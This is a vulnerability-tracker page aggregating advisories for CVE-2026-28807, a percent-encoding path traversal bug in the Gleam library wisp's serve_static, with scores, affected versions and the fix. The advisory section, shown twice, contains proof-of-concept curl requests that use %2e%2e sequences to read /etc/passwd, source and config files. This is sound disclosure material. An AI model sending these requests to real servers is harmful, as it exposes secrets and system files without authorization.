Every CVE Search/ Get API key

CVE-2026-28807

Path Traversal in wisp.serve_static allows arbitrary file read

8.7 HighFix available

Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in gleam-wisp wisp allows arbitrary file read via percent-encoded path traversal.

The wisp.serve_static function is vulnerable to path traversal because sanitization runs before percent-decoding. The encoded sequence %2e%2e passes through string.replace unchanged, then uri.percent_decode converts it to .., which the OS resolves as directory traversal when the file is read.

An unauthenticated attacker can read any file readable by the application process in a single HTTP request, including application source code, configuration files, secrets, and system files.

This issue affects wisp: from 2.1.1 before 2.2.1.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
Low
Privileges needed
None
User interaction
None

What an attacker can affect

Confidentiality
High
Integrity
None
Availability
None

Exploit likelihood

1.17%Up 0.8 points since Mar 11, 2026
90%50%10%1%

What each source reports

CVE List Score used 8.7

Path Traversal in wisp.serve_static allows arbitrary file read

Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in gleam-wisp wisp allows arbitrary file read via percent-encoded path traversal.

The wisp.serve_static function is vulnerable to path traversal because sanitization runs before percent-decoding. The encoded sequence %2e%2e passes through string.replace unchanged, then uri.percent_decode converts it to .., which the OS resolves as directory traversal when the file is read.

An unauthenticated attacker can read any file readable by the application process in a single HTTP request, including application source code, configuration files, secrets, and system files.

This issue affects wisp: from 2.1.1 before 2.2.1.

Record
CVE-2026-28807
CVSS 4.0
8.7 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
Weakness
CWE-22
Updated
2026-11-02
EUVDEUVD-2026-10906 8.7

Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in gleam-wisp wisp allows arbitrary file read via percent-encoded path traversal.

The wisp.serve_static function is vulnerable to path traversal because sanitization runs before percent-decoding. The encoded sequence %2e%2e passes through string.replace unchanged, then uri.percent_decode converts it to .., which the OS resolves as directory traversal when the file is read.

An unauthenticated attacker can read any file readable by the application process in a single HTTP request, including application source code, configuration files, secrets, and system files.

This issue affects wisp: from 2.1.1 before 2.2.1.

Record
EUVD-2026-10906
CVSS 4.0
8.7 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
Updated
2026-11-02
GitHub AdvisoriesGHSA-h7cj-j2vv-qw8r 8.7

Wisp Vulnerable to Path Traversal

Summary

wisp.serve_static is vulnerable to arbitrary file read via percent-encoded path traversal (%2e%2e). The directory traversal sanitization runs before percent-decoding, allowing encoded .. sequences to bypass the filter. An unauthenticated attacker can read any file readable by the application process in a single HTTP request.

Details

In src/wisp.gleam, serve_static processes the request path in this order:

let path =
  path
  |> string.drop_start(string.length(prefix))
  |> string.replace(each: "..", with: "")   // Step 1: sanitize
  |> filepath.join(directory, _)

let path = case uri.percent_decode(path) {  // Step 2: decode
  Ok(p) -> p
  Error(_) -> path
}

Sanitization (step 1) strips literal .. but runs before percent-decoding (step 2). The encoded sequence %2e%2e passes through string.replace unchanged, then uri.percent_decode converts it to .., which the OS resolves as directory traversal when the file is read.

PoC

Any application using wisp.serve_static:

fn handle_request(req: wisp.Request) -> wisp.Response {
  use <- wisp.serve_static(req, under: "/static", from: priv_directory())
  wisp.not_found()
}

Exploit (requires --path-as-is to prevent client-side normalization):

# Read /etc/passwd
curl -s --path-as-is \
  "http://localhost:8080/static/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd"

# Read project source code
curl -s --path-as-is \
  "http://localhost:8080/static/%2e%2e/%2e%2e/src/app.gleam"

# Read project config
curl -s --path-as-is \
  "http://localhost:8080/static/%2e%2e/%2e%2e/gleam.toml"

Impact

This is a path traversal / arbitrary file read vulnerability (CWE-22). Any application using wisp.serve_static is affected. An unauthenticated attacker can read:

  • Application source code
  • Configuration and secrets in priv/
  • .env files, secret_key_base, private keys
  • System files (/etc/passwd, /etc/shadow if permissions allow)

Workaround

Copy the fixed implementation to your codebase and replace references to wisp.serve_static with this version in your codebase.

References

Record
GHSA-h7cj-j2vv-qw8r
CVSS 4.0
8.7 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Weakness
CWE-22
Updated
2026-11-02
NVD 8.7

Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in gleam-wisp wisp allows arbitrary file read via percent-encoded path traversal.

The wisp.serve_static function is vulnerable to path traversal because sanitization runs before percent-decoding. The encoded sequence %2e%2e passes through string.replace unchanged, then uri.percent_decode converts it to .., which the OS resolves as directory traversal when the file is read.

An unauthenticated attacker can read any file readable by the application process in a single HTTP request, including application source code, configuration files, secrets, and system files.

This issue affects wisp: from 2.1.1 before 2.2.1.

Record
CVE-2026-28807
CVSS 4.0
8.7 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Weakness
CWE-22
Updated
2026-11-02
OSV 8.7

Path Traversal in wisp.serve_static allows arbitrary file read

Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in gleam-wisp wisp allows arbitrary file read via percent-encoded path traversal.

The wisp.serve_static function is vulnerable to path traversal because sanitization runs before percent-decoding. The encoded sequence %2e%2e passes through string.replace unchanged, then uri.percent_decode converts it to .., which the OS resolves as directory traversal when the file is read.

An unauthenticated attacker can read any file readable by the application process in a single HTTP request, including application source code, configuration files, secrets, and system files.

This issue affects wisp: from 2.1.1 before 2.2.1.

Record
CVE-2026-28807
CVSS 4.0
8.7 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
Weakness
CWE-22
Updated
2026-11-02
OSVEEF-CVE-2026-28807 8.7

Path Traversal in wisp.serve_static allows arbitrary file read

Summary

Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in gleam-wisp wisp allows arbitrary file read via percent-encoded path traversal.

The wisp.serve_static function is vulnerable to path traversal because sanitization runs before percent-decoding. The encoded sequence %2e%2e passes through string.replace unchanged, then uri.percent_decode converts it to .., which the OS resolves as directory traversal when the file is read.

An unauthenticated attacker can read any file readable by the application process in a single HTTP request, including application source code, configuration files, secrets, and system files.

This issue affects wisp: from 2.1.1 before 2.2.1.

Record
EEF-CVE-2026-28807
CVSS 4.0
8.7 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
Weakness
CWE-22
Updated
2026-11-02
OSVGHSA-h7cj-j2vv-qw8r 8.7

Wisp Vulnerable to Path Traversal

Summary

wisp.serve_static is vulnerable to arbitrary file read via percent-encoded path traversal (%2e%2e). The directory traversal sanitization runs before percent-decoding, allowing encoded .. sequences to bypass the filter. An unauthenticated attacker can read any file readable by the application process in a single HTTP request.

Details

In src/wisp.gleam, serve_static processes the request path in this order:

let path =
  path
  |> string.drop_start(string.length(prefix))
  |> string.replace(each: "..", with: "")   // Step 1: sanitize
  |> filepath.join(directory, _)

let path = case uri.percent_decode(path) {  // Step 2: decode
  Ok(p) -> p
  Error(_) -> path
}

Sanitization (step 1) strips literal .. but runs before percent-decoding (step 2). The encoded sequence %2e%2e passes through string.replace unchanged, then uri.percent_decode converts it to .., which the OS resolves as directory traversal when the file is read.

PoC

Any application using wisp.serve_static:

fn handle_request(req: wisp.Request) -> wisp.Response {
  use <- wisp.serve_static(req, under: "/static", from: priv_directory())
  wisp.not_found()
}

Exploit (requires --path-as-is to prevent client-side normalization):

# Read /etc/passwd
curl -s --path-as-is \
  "http://localhost:8080/static/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd"

# Read project source code
curl -s --path-as-is \
  "http://localhost:8080/static/%2e%2e/%2e%2e/src/app.gleam"

# Read project config
curl -s --path-as-is \
  "http://localhost:8080/static/%2e%2e/%2e%2e/gleam.toml"

Impact

This is a path traversal / arbitrary file read vulnerability (CWE-22). Any application using wisp.serve_static is affected. An unauthenticated attacker can read:

  • Application source code
  • Configuration and secrets in priv/
  • .env files, secret_key_base, private keys
  • System files (/etc/passwd, /etc/shadow if permissions allow)

Workaround

Copy the fixed implementation to your codebase and replace references to wisp.serve_static with this version in your codebase.

References

Record
GHSA-h7cj-j2vv-qw8r
CVSS 4.0
8.7 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Weakness
CWE-22
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
wisp
Hex
2.1.1 up to 2.2.1
2.2.1
wisp
Hex
2.1.1 up to 2.2.1, plus listed versions
2.2.0
2.2.1

History

History
RecordedChangedSources
first indexedCVE List, EUVD, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2026-28807 is a high vulnerability (CVSS 8.7) in Gleam-wisp Wisp, published March 10, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 1.17%, the 67th percentile. Fixed in wisp 2.2.1.

References

Show 7 moreShow less
MoveEnter Open